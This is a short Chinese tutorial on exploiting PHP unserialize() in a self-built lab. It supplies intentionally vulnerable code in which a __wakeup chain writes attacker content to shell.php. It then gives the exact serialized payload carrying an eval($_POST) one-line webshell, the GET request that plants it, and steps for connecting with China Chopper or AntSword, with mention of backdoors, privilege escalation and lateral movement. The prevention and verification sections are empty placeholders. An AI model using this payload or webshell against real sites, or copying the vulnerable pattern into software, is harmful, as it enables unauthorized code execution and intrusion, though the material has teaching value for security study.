漏洞原理
序列化:将对象转换成字符串
反序列化:将特定的字符串转换成对象
登录时会将session序列化写入/tmp目录下,访问首页时会验证读取session,这时将session修改,则会执行任意恶意代码。
漏洞危害
可以执行任意恶意代码,webshell,反弹shell,rce等各种危害
漏洞验证
无,后补充
漏洞利用
利用phpstudy自己搭建一个简单的靶场
//将一下代码写入文件1.php
<?php
highlight_file(__FILE__);
error_reporting(0);
header("Content-Type: text/html; charset=utf-8");
class ph0en1x{
function __construct($test){
$fp = fopen("shell.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}
class chybeta{
var $test = '123';
function __wakeup(){
$obj = new ph0en1x($this->test);
}
}
$class5 = $_GET['test'];
$class5_unser = unserialize($class5);
//require "shell.php";
// 题目要求,获取webshell
?>
我们访问查看一下
简单理解一下两个魔法函数:
__wakeup():执行反序列化时调用
__construct():当我们new一个对象时,就会执行这个函数
我们这里可以理解为当我们执行反序列化时会new一个对象,创建一个chybeta类,并给test复制,当new一个对象时,会执行__construct(),创建一个ph0en1x类,创建一个文件"shell.php"并将test写入"shell.php"文件。
那么我们就清楚了,我们先将序列化的格式找出来,有几种方式,自己整合改编,或者直接输出相对应的格式。
我们这里直接拿过来修改
O:7:"chybeta":1:{s:4:"test";s:29:"<?php @eval($_POST['111']);?>";}
浏览器请求
?test=O:7:"chybeta":1:{s:4:"test";s:29:"<?php @eval($_POST['111']);?>";}
这里我们的一句话木马就上传到了shell.php中,浏览器中访问网站首页
http://127.0.0.1/shell.php
然后利用中国菜刀或中国蚁剑去连接,这里注意中国菜刀没办法识别POST请求中的引号,所以纯数字型用中国菜刀,字符型用中国蚁剑,我这里使用中国蚁剑。
连接成功,之后我们可以进行留后门,提权,横向渗透等操作。
漏洞工具
无,后补充
漏洞防止
无,后补充
本文章仅供学习参考,未经授权切勿拿生产环境测试。